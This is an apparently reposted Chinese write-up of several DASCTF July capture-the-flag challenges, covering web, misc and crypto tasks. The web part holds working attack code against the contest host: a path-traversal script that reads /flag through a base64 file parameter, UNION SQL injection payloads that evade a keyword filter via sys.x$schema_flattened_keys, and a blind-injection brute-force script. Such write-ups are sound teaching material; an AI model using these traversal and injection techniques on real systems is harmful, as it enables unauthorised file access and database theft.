1. 程式人生 > 實用技巧 >DASCTF 7月賽部分write up

DASCTF 7月賽部分write up

彩筆一個,後來看其他師傅的wp才知道還有這些做法。

WEB1 Ezfileincude

開啟題目是一張圖片,直接看原始碼發現存在 image.php?t=XXXXXX&f=XXXXXXX
t是時間戳,f是圖片路徑的base64加密
後面測試發現題目過濾了../ // ./,最後發現可以在f=image.php背後加/../達到目錄穿越的目的
附上指令碼

import base64
import time
import requests

flag='/image.php/../../../../../flag'
str=flag.encode('utf-8')
url='http://183.129.189.60:10009/image.php?'
t = int(time.time())
t = ('%s'%t)
print(t)
b = base64.b64encode(str)
f = b.decode('utf-8')
res = requests.get(url=url + 't=' + t + '&f=' + f)
print(res.text)

WBE2 SQLi

題目已經給出了過濾條件

preg_match("/;|benchmark|\^|if|[\s]|in|case|when|sleep|auto|desc|stat|\||lock|or|and|&|like|-|`/i", $id);

無列名查詢+bypass information_schema
看師傅們的wp發現是用sys.x$schema_flattened_keys來繞過information_schema
而且union、select都沒有被過濾,所以可以嘗試進行聯合查詢注入

?id=0'/**/union/**/SELECT/**/group_concat(table_name),2,3/**/FROM/**/sys.x$schema_flattened_keys/**/WHERE/**/table_schema='sqlidb'/**/GROUP/**/BY/**/table_name/**/limit/**/0,1#

從表中獲取flag

?id=0'/**/union/**/select/**/*,1/**/from/**/flllaaaggg#

這裡貼一個Ying師傅的盲註腳本

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 穎奇L'Amore www.gem-love.com
import requests as req
import time as t
import base64 as b
import string
alpa = string.ascii_letters + string.digits
res = ''
#庫名 利用limit注入 sqlidb
# http://183.129.189.60:10004/?id=1%27limit/**/1,1/**/PROCEDURE/**/ANALYSE(1)%23

#表名 flllaaaggg
payload = '''SELECT group_concat(table_name) FROM  sys.x$schema_flattened_keys WHERE table_schema='sqlidb' GROUP BY table_name limit 0,1'''

for i in range(1,100):
	for char in alpa:
		host = '''http://183.129.189.60:10004/?id=1'=(substr(({payload}),{i},1)='{char}')%23'''.format(payload=payload.replace(' ','/**/'), i=i, char=char)

		r = req.get(host)
		if r'admin666' in r.text:
			res += char
			print("found it: "+res)
			break
		t.sleep(0.2)

簡單的聊聊information_schema
這裡推薦一個好用的正則表示式平臺

MiSC1 welcome to the misc world

先用zsteg檢視png圖片,發現圖片裡藏了一張圖片,於是進行指令分離

zsteg -E 'b1,r,lsb,xy' red_blue.png > result.png

圖片中直接就有壓縮包的密碼 /*///1258/*/@# 我們開啟壓縮包發現有三個檔案

flag就在文字文件裡,一開始我也沒想到是base85,還是見識太少了
最後解碼拿到flag
推薦一個好用的加解密平臺

crypto1 bullshit

這裡貼出題目原始碼

from flag import flag
def pairing(a,b):
    shell = max(a, b)
    step = min(a, b)
    if step == b:
        flag = 0
    else:
        flag = 1
    return shell ** 2 + step * 2 + flag

def encrypt(message):
    res = ''
    for i in range(0,len(message),2):
        res += str(pairing(message[i],message[i+1]))
    return res

print(encrypt(flag))
# 1186910804152291019933541010532411051999082499105051010395199519323297119520312715722

題目中把flag中的字元兩個一組加密成一個數字,最後進行拼接

由於flag中只含有數字字母和大括號,我們可以算出每組的數字中
最小約為ord('0')**2+ord('0')*2=2400;
最大約為ord('}')**2+ord('}')*2=15875;
則從頭開始,以'1'開頭的往下取5位,以其他數字開頭的往下取4位,把數字分開

這裡貼XMAO師傅的指令碼,我太菜了沒寫出來

import itertools

str_ = "1186910804152291019933541010532411051999082499105051010395199519323297119520312715722"
def pairing(a,b):
    shell = max(a, b)
    step = min(a, b) 
    if step == b: 
        flag = 0
    else:  
        flag = 1
    return shell ** 2 + step * 2 + flag

result = itertools.product("abcdefghijklmnopqrstuvwxyz0123456789{}",repeat=2)
l = list(result)
for i in l:
    r = pairing(ord(i[0]),ord(i[1]))
    if str_.find(str(r)) !=-1:
        str_=str_.replace(str(r),i[0] + i[1])
print(str_)